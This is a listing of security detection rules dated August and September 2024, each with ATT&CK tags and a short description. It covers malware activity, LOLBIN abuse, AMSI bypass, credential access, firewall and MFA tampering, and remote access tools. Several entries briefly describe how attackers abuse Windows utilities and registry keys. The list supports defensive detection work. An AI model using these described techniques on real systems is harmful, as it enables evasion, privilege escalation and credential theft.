Raspberry Robin Initial Execution From External Drive

Sep 2, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·

Share on:

Detects the initial execution of the Raspberry Robin malware from an external drive using "Cmd.EXE".

Raspberry Robin Subsequent Execution of Commands

Sep 2, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·

Share on:

Detects raspberry robin subsequent execution of commands.

Remote Access Tool - ScreenConnect Command Execution

Sep 2, 2024 · attack.execution attack.t1059.003 ·

Share on:

Detects command execution via ScreenConnect RMM

Remote Access Tool - ScreenConnect File Transfer

Sep 2, 2024 · attack.execution attack.t1059.003 ·

Share on:

Detects file being transferred via ScreenConnect RMM

Remote Access Tool - ScreenConnect Temporary File

Sep 2, 2024 · attack.execution attack.t1059.003 ·

Share on:

Detects the creation of files in a specific location by ScreenConnect RMM. ScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to ":\Users<username>\Documents\ConnectWiseControl\Temp" before execution.

Renamed CURL.EXE Execution

Sep 2, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·

Share on:

Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields

Renamed VsCode Code Tunnel Execution - File Indicator

Sep 2, 2024 · attack.command-and-control ·

Share on:

Detects the creation of a file with the name "code_tunnel.json" which indicate execution and usage of VsCode tunneling utility by an "Image" or "Process" other than VsCode.

Security Software Discovery Via Powershell Script

Sep 2, 2024 · attack.discovery attack.t1518.001 ·

Share on:

Detects calls to "get-process" where the output is piped to a "where-object" filter to search for security solution processes. Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus

Serpent Backdoor Payload Execution Via Scheduled Task

Sep 2, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.006 detection.emerging-threats ·

Share on:

Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload.

Suspicious LNK Double Extension File Created

Sep 2, 2024 · attack.defense-evasion attack.t1036.007 ·

Share on:

Detects the creation of files with an "LNK" as a second extension. This is sometimes used by malware as a method to abuse the fact that Windows hides the "LNK" extension by default.

Suspicious Sysmon as Execution Parent

Sep 2, 2024 · attack.privilege-escalation attack.t1068 cve.2022-41120 detection.emerging-threats ·

Share on:

Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)

Ursnif Redirection Of Discovery Commands

Sep 2, 2024 · attack.execution attack.t1059 detection.emerging-threats ·

Share on:

Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware.

Visual Studio Code Tunnel Execution

Sep 2, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel

Visual Studio Code Tunnel Remote File Creation

Sep 2, 2024 · attack.command-and-control ·

Share on:

Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file creation via VsCode tunnel feature

Visual Studio Code Tunnel Service Installation

Sep 2, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects the installation of VsCode tunnel (code-tunnel) as a service.

Visual Studio Code Tunnel Shell Execution

Sep 2, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system.

A Rule Has Been Deleted From The Windows Firewall Exception List

Aug 29, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall

Uncommon New Firewall Rule Added In Windows Firewall Exception List

Aug 29, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detects when a rule has been added to the Windows Firewall exception list

System Network Discovery - macOS

Aug 29, 2024 · attack.discovery attack.t1016 ·

Share on:

Detects enumeration of local network configuration

Antivirus Filter Driver Disallowed On Dev Drive - Registry

Aug 29, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects activity that indicates a user disabling the ability for Antivirus mini filter to inspect a "Dev Drive".

Emotet Loader Execution Via .LNK File

Aug 29, 2024 · attack.execution attack.t1059.006 detection.emerging-threats ·

Share on:

Detects the Emotet Epoch4 loader as reported by @malware_traffic back in 2022. The ".lnk" file was delivered via phishing campaign.

FakeUpdates/SocGholish Activity

Aug 29, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·

Share on:

Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell.

File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell

Aug 29, 2024 · attack.discovery attack.t1135 ·

Share on:

Detects the initial execution of "cmd.exe" which spawns "explorer.exe" with the appropriate command line arguments for opening the "My Computer" folder.

HackTool - SharpWSUS/WSUSpendu Execution

Aug 29, 2024 · attack.execution attack.lateral-movement attack.t1210 ·

Share on:

Detects the execution of SharpWSUS or WSUSpendu, utilities that allow for lateral movement through WSUS. Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations.

Hiding User Account Via SpecialAccounts Registry Key

Aug 29, 2024 · attack.defense-evasion attack.t1564.002 ·

Share on:

Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.

Potential AMSI Bypass Via .NET Reflection

Aug 29, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects Request to "amsiInitFailed" that can be used to disable AMSI Scanning

Potential CVE-2022-29072 Exploitation Attempt

Aug 29, 2024 · attack.execution cve.2022-29072 detection.emerging-threats ·

Share on:

Detects potential exploitation attempts of CVE-2022-29072, a 7-Zip privilege escalation and command execution vulnerability. 7-Zip version 21.07 and earlier on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.

Potential MOVEit Transfer CVE-2023-34362 Exploitation - File Activity

Aug 29, 2024 · attack.initial-access attack.t1190 cve.2023-34362 detection.emerging-threats ·

Share on:

Detects file indicators of potential exploitation of MOVEit CVE-2023-34362.

Potential Privilege Escalation via Local Kerberos Relay over LDAP

Aug 29, 2024 · attack.privilege-escalation attack.credential-access attack.t1548 ·

Share on:

Detects a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, and the target user SID is the built-in local Administrator account. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined limited user to local System privileges.

Python Function Execution Security Warning Disabled In Excel - Registry

Aug 29, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.

RestrictedAdminMode Registry Value Tampering

Aug 29, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise

RestrictedAdminMode Registry Value Tampering - ProcCreation

Aug 29, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise

Sdiagnhost Calling Suspicious Child Process

Aug 29, 2024 · attack.defense-evasion attack.t1036 attack.t1218 ·

Share on:

Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)

Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Aug 29, 2024 · attack.defense-evasion attack.t1218.011 ·

Share on:

Detects attackers using tooling with bad opsec defaults. E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run. One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.

Cab File Extraction Via Wusa.EXE From Potentially Suspicious Paths

Aug 29, 2024 · attack.execution ·

Share on:

Detects the execution of the "wusa.exe" (Windows Update Standalone Installer) utility to extract ".cab" files using the "/extract" argument from potentially suspicious paths.

COM Object Execution via Xwizard.EXE

Aug 29, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the execution of Xwizard tool with the "RunWizard" flag and a GUID like argument. This utility can be abused in order to run custom COM object created in the registry.

New Capture Session Launched Via DXCap.EXE

Aug 29, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the execution of "DXCap.EXE" with the "-c" flag, which allows a user to launch any arbitrary binary or windows package through DXCap itself. This can be abused to potentially bypass application whitelisting.

Potential DLL Injection Via AccCheckConsole

Aug 29, 2024 · attack.execution detection.threat-hunting ·

Share on:

Detects the execution "AccCheckConsole" a command-line tool for verifying the accessibility implementation of an application's UI. One of the tests that this checker can run are called "verification routine", which tests for things like Consistency, Navigation, etc. The tool allows a user to provide a DLL that can contain a custom "verification routine". An attacker can build such DLLs and pass it via the CLI, which would then be loaded in the context of the "AccCheckConsole" utility.

Potential DLL Sideloading Using Coregen.exe

Aug 29, 2024 · attack.defense-evasion attack.t1218 attack.t1055 ·

Share on:

Detect usage of the "coregen.exe" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.

Potentially Suspicious EventLog Recon Activity Using Log Query Utilities

Aug 29, 2024 · attack.credential-access attack.discovery attack.t1552 ·

Share on:

Detects execution of different log query utilities and commands to search and dump the content of specific event logs or look for specific event IDs. This technique is used by threat actors in order to extract sensitive information from events logs such as usernames, IP addresses, hostnames, etc.

Process Memory Dump via RdrLeakDiag.EXE

Aug 29, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the use of the Microsoft Windows Resource Leak Diagnostic tool "rdrleakdiag.exe" to dump process memory

Program Executed Using Proxy/Local Command Via SSH.EXE

Aug 29, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detect usage of the "ssh.exe" binary as a proxy to launch other programs.

Suspicious Child Process Of Wermgr.EXE

Aug 29, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 attack.t1036 ·

Share on:

Detects suspicious Windows Error Reporting manager (wermgr.exe) child process

Uncommon Sigverif.EXE Child Process

Aug 29, 2024 · attack.defense-evasion attack.t1216 ·

Share on:

Detects uncommon child processes spawning from "sigverif.exe", which could indicate potential abuse of the latter as a living of the land binary in order to proxy execution.

Windows Binary Executed From WSL

Aug 29, 2024 · attack.execution attack.defense-evasion attack.t1202 ·

Share on:

Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships

Wusa.EXE Executed By Parent Process Located In Suspicious Location

Aug 29, 2024 · attack.execution ·

Share on:

Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility by a parent process that is located in a suspicious location. Attackers could instantiate an instance of "wusa.exe" in order to bypass User Account Control (UAC). They can duplicate the access token from "wusa.exe" to gain elevated privileges.

Xwizard.EXE Execution From Non-Default Location

Aug 29, 2024 · attack.defense-evasion attack.t1574.002 ·

Share on:

Detects the execution of Xwizard tool from a non-default directory. When executed from a non-default directory, this utility can be abused in order to side load a custom version of "xwizards.dll".

Potential Active Directory Reconnaissance/Enumeration Via LDAP

Aug 27, 2024 · attack.discovery attack.t1069.002 attack.t1087.002 attack.t1482 ·

Share on:

Detects potential Active Directory enumeration via LDAP

Disable Important Scheduled Task

Aug 26, 2024 · attack.impact attack.t1489 ·

Share on:

Detects when adversaries stop services or processes by disabling their respective scheduled tasks in order to conduct data destructive activities

DNS Query To Put.io - DNS Client

Aug 23, 2024 · attack.command-and-control ·

Share on:

Detects DNS queries for subdomains related to "Put.io" sharing website.

Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location

Aug 23, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects a network connection initiated by programs or processes running from suspicious or uncommon files system locations.

Suspicious Download From File-Sharing Website Via Bitsadmin

Aug 23, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·

Share on:

Detects usage of bitsadmin downloading a file from a suspicious domain

Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE

Aug 23, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.

Suspicious Remote AppX Package Locations

Aug 23, 2024 · attack.defense-evasion ·

Share on:

Detects an appx package added to the pipeline of the "to be processed" packages which was downloaded from a suspicious domain.

Driver Added To Disallowed Images In HVCI - Registry

Aug 21, 2024 · attack.defense-evasion ·

Share on:

Detects changes to the "HVCIDisallowedImages" registry value to potentially add a driver to the list, in order to prevent it from loading.

Hidden Flag Set On File/Directory Via Chflags - MacOS

Aug 21, 2024 · attack.defense-evasion attack.t1218 attack.t1564.004 attack.t1552.001 attack.t1105 ·

Share on:

Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS. When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers.

User Risk and MFA Registration Policy Updated

Aug 21, 2024 · attack.persistence ·

Share on:

Detects changes and updates to the user risk and MFA registration policy. Attackers can modified the policies to Bypass MFA, weaken security thresholds, facilitate further attacks, maintain persistence.

Multi Factor Authentication Disabled For User Account

Aug 21, 2024 · attack.credential-access attack.persistence ·

Share on:

Detects changes to the "StrongAuthenticationRequirement" value, where the state is set to "0" or "Disabled". Threat actors were seen disabling multi factor authentication for users in order to maintain or achieve access to the account. Also see in SIM Swap attacks.

Data Export From MSSQL Table Via BCP.EXE

Aug 20, 2024 · attack.execution attack.t1048 ·

Share on:

Detects the execution of the BCP utility in order to export data from the database. Attackers were seen saving their malware to a database column or table and then later extracting it via "bcp.exe" into a file.

Potentially Suspicious Rundll32.EXE Execution of UDL File

Aug 16, 2024 · attack.execution attack.t1218.011 attack.t1071 ·

Share on:

Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.

Suspicious Rundll32 Execution of UDL File

Aug 16, 2024 · attack.execution attack.t1218.011 attack.t1071 ·

Share on:

Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse the technique as a phishing vector to capture authentication credentials or other sensitive data.

Diskshadow Script Mode - Execution From Potential Suspicious Location

Aug 16, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects execution of "Diskshadow.exe" in script mode using the "/s" flag where the script is located in a potentially suspicious location.

HackTool - LaZagne Execution

Aug 16, 2024 · attack.credential-access ·

Share on:

Detects the execution of the LaZagne. A utility used to retrieve multiple types of passwords stored on a local computer. LaZagne has been leveraged multiple times by threat actors in order to dump credentials.

Capture Wi-Fi password

Aug 14, 2024 ·

Share on:

Capture Wi-Fi password

Powershell Token Obfuscation - Powershell

Aug 13, 2024 · attack.defense-evasion attack.t1027.009 ·

Share on:

Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation

7Zip Compressing Dump Files

Aug 12, 2024 · attack.collection attack.t1560.001 ·

Share on:

Detects execution of 7z in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.

A Member Was Added to a Security-Enabled Global Group

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Detects activity when a member is added to a security-enabled global group

A Member Was Removed From a Security-Enabled Global Group

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Detects activity when a member is removed from a security-enabled global group

A New Trust Was Created To A Domain

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Addition of domains is seldom and should be verified for legitimacy.

A Security-Enabled Global Group Was Deleted

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Detects activity when a security-enabled global group is deleted

Abusable DLL Potential Sideloading From Suspicious Location

Aug 12, 2024 · attack.execution attack.t1059 ·

Share on:

Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations

Abuse of Service Permissions to Hide Services Via Set-Service

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574.011 ·

Share on:

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

Abuse of Service Permissions to Hide Services Via Set-Service - PS

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574.011 ·

Share on:

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

Abused Debug Privilege by Arbitrary Parent Processes

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·

Share on:

Detection of unusual child processes by different system processes

Abusing Print Executable

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Attackers can use print.exe for remote file copy

Access To ADMIN$ Network Share

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·

Share on:

Detects access to ADMIN$ network share

Access to Browser Login Data

Aug 12, 2024 · attack.credential-access attack.t1555.003 ·

Share on:

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

Access To Crypto Currency Wallets By Uncommon Applications

Aug 12, 2024 · attack.t1003 attack.credential-access ·

Share on:

Detects file access requests to crypto currency files by uncommon processes. Could indicate potential attempt of crypto currency wallet stealing.

Access To Potentially Sensitive Sysvol Files By Uncommon Applications

Aug 12, 2024 · attack.credential-access attack.t1552.006 ·

Share on:

Detects file access requests to potentially sensitive files hosted on the Windows Sysvol share.

Access To Windows Credential History File By Uncommon Applications

Aug 12, 2024 · attack.credential-access attack.t1555.004 ·

Share on:

Detects file access requests to the Windows Credential History File by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::credhist" function

Access To Windows DPAPI Master Keys By Uncommon Applications

Aug 12, 2024 · attack.credential-access attack.t1555.004 ·

Share on:

Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::masterkey" function

Account Created And Deleted Within A Close Time Frame

Aug 12, 2024 · attack.defense-evasion attack.t1078 ·

Share on:

Detects when an account was created and deleted in a short period of time.

Account Disabled or Blocked for Sign in Attempts

Aug 12, 2024 · attack.initial-access attack.t1078.004 ·

Share on:

Detects when an account is disabled or blocked for sign in but tried to log in

Account Lockout

Aug 12, 2024 · attack.credential-access attack.t1110 ·

Share on:

Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.

Account Tampering - Suspicious Failed Logon Reasons

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access attack.t1078 ·

Share on:

This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.

Activate Suppression of Windows Security Center Notifications

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detect set Notification_Suppress to 1 to disable the Windows security center notification

Active Directory Computers Enumeration With Get-AdComputer

Aug 12, 2024 · attack.discovery attack.t1018 attack.t1087.002 ·

Share on:

Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.

Active Directory Database Snapshot Via ADExplorer

Aug 12, 2024 · attack.credential-access attack.t1552.001 attack.t1003.003 ·

Share on:

Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database.

Active Directory Group Enumeration With Get-AdGroup

Aug 12, 2024 · attack.discovery attack.t1069.002 ·

Share on:

Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory

Active Directory Kerberos DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·

Share on:

Detects Kerberos DLL being loaded by an Office Product

Active Directory Parsing DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·

Share on:

Detects DSParse DLL being loaded by an Office Product

Active Directory Replication from Non Machine Account

Aug 12, 2024 · attack.credential-access attack.t1003.006 ·

Share on:

Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.

Active Directory Structure Export Via Csvde.EXE

Aug 12, 2024 · attack.exfiltration attack.discovery attack.t1087.002 ·

Share on:

Detects the execution of "csvde.exe" in order to export organizational Active Directory structure.

Active Directory Structure Export Via Ldifde.EXE

Aug 12, 2024 · attack.exfiltration ·

Share on:

Detects the execution of "ldifde.exe" in order to export organizational Active Directory structure.

Activity From Anonymous IP Address

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·

Share on:

Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.

Activity from Anonymous IP Addresses

Aug 12, 2024 · attack.command-and-control attack.t1573 ·

Share on:

Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.

Activity from Infrequent Country

Aug 12, 2024 · attack.command-and-control attack.t1573 ·

Share on:

Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.

Activity from Suspicious IP Addresses

Aug 12, 2024 · attack.command-and-control attack.t1573 ·

Share on:

Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence. These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.

Activity Performed by Terminated User

Aug 12, 2024 · attack.impact ·

Share on:

Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce. This is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.

AD Groups Or Users Enumeration Using PowerShell - PoshModule

Aug 12, 2024 · attack.discovery attack.t1069.001 ·

Share on:

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

AD Groups Or Users Enumeration Using PowerShell - ScriptBlock

Aug 12, 2024 · attack.discovery attack.t1069.001 ·

Share on:

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

AD Object WriteDAC Access

Aug 12, 2024 · attack.defense-evasion attack.t1222.001 ·

Share on:

Detects WRITE_DAC access to a domain object

AD Privileged Users or Groups Reconnaissance

Aug 12, 2024 · attack.discovery attack.t1087.002 ·

Share on:

Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs

ADCS Certificate Template Configuration Vulnerability

Aug 12, 2024 · attack.privilege-escalation attack.credential-access ·

Share on:

Detects certificate creation with template allowing risk permission subject

ADCS Certificate Template Configuration Vulnerability with Risky EKU

Aug 12, 2024 · attack.privilege-escalation attack.credential-access ·

Share on:

Detects certificate creation with template allowing risk permission subject and risky EKU

Add Debugger Entry To AeDebug For Persistence

Aug 12, 2024 · attack.persistence ·

Share on:

Detects when an attacker adds a new "Debugger" value to the "AeDebug" key in order to achieve persistence which will get invoked when an application crashes

Add Debugger Entry To Hangs Key For Persistence

Aug 12, 2024 · attack.persistence ·

Share on:

Detects when an attacker adds a new "Debugger" value to the "Hangs" key in order to achieve persistence which will get invoked when an application crashes

Add DisallowRun Execution to Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detect set DisallowRun to 1 to prevent user running specific computer program

Add Insecure Download Source To Winget

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·

Share on:

Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)

Add New Download Source To Winget

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·

Share on:

Detects usage of winget to add new additional download sources

Add or Remove Computer from DC

Aug 12, 2024 · attack.defense-evasion attack.t1207 ·

Share on:

Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.

Add SafeBoot Keys Via Reg Utility

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects execution of "reg.exe" commands with the "add" or "copy" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not

Add Windows Capability Via PowerShell Cmdlet

Aug 12, 2024 · attack.execution ·

Share on:

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

Add Windows Capability Via PowerShell Script

Aug 12, 2024 · attack.execution ·

Share on:

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

Added Credentials to Existing Application

Aug 12, 2024 · attack.t1098.001 attack.persistence ·

Share on:

Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.

Added Owner To Application

Aug 12, 2024 · attack.t1552 attack.credential-access ·

Share on:

Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.

AddinUtil.EXE Execution From Uncommon Directory

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) from a non-standard directory.

Addition of SID History to Active Directory Object

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1134.005 ·

Share on:

An attacker can use the SID history attribute to gain additional privileges.

ADFS Database Named Pipe Connection By Uncommon Tool

Aug 12, 2024 · attack.collection attack.t1005 ·

Share on:

Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database). Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.

Admin User Remote Logon

Aug 12, 2024 · attack.lateral-movement attack.t1078.001 attack.t1078.002 attack.t1078.003 car.2016-04-005 ·

Share on:

Detect remote login by Administrator user (depending on internal pattern).

ADSelfService Exploitation

Aug 12, 2024 · cve.2021-40539 detection.emerging-threats attack.initial-access attack.t1190 ·

Share on:

Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539

ADSI-Cache File Creation By Uncommon Tool

Aug 12, 2024 · attack.t1001.003 attack.command-and-control ·

Share on:

Detects the creation of an "Active Directory Schema Cache File" (.sch) file by an uncommon tool.

Advanced IP Scanner - File Event

Aug 12, 2024 · attack.discovery attack.t1046 ·

Share on:

Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.

Adwind RAT / JRAT

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 detection.emerging-threats ·

Share on:

Detects javaw.exe in AppData folder as used by Adwind / JRAT

Adwind RAT / JRAT File Artifact

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·

Share on:

Detects javaw.exe in AppData folder as used by Adwind / JRAT

AgentExecutor PowerShell Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument

All Backups Deleted Via Wbadmin.EXE

Aug 12, 2024 · attack.impact attack.t1490 ·

Share on:

Detects the deletion of all backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled.

Allow RDP Remote Assistance Feature

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detect enable rdp feature to allow specific user to rdp connect on the targeted machine

Allow Service Access Using Security Descriptor Tampering Via Sc.EXE

Aug 12, 2024 · attack.persistence attack.t1543.003 ·

Share on:

Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs.

Alternate PowerShell Hosts - PowerShell Module

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

Always Install Elevated MSI Spawned Cmd And Powershell

Aug 12, 2024 · attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects Windows Installer service (msiexec.exe) spawning "cmd" or "powershell"

AMSI Bypass Pattern Assembly GetType

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 attack.execution ·

Share on:

Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts

Amsi.DLL Loaded Via LOLBIN Process

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects loading of "Amsi.dll" by a living of the land process. This could be an indication of a "PowerShell without PowerShell" attack

Anomalous Token

Aug 12, 2024 · attack.t1528 attack.credential-access ·

Share on:

Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.

Anomalous User Activity

Aug 12, 2024 · attack.t1098 attack.persistence ·

Share on:

Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.

Anonymous IP Address

Aug 12, 2024 · attack.t1528 attack.credential-access ·

Share on:

Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.

Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection

Aug 12, 2024 · attack.privilege-escalation attack.t1055 ·

Share on:

Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .

Anydesk Temporary Artefact

Aug 12, 2024 · attack.command-and-control attack.t1219 ·

Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Apache Segmentation Fault

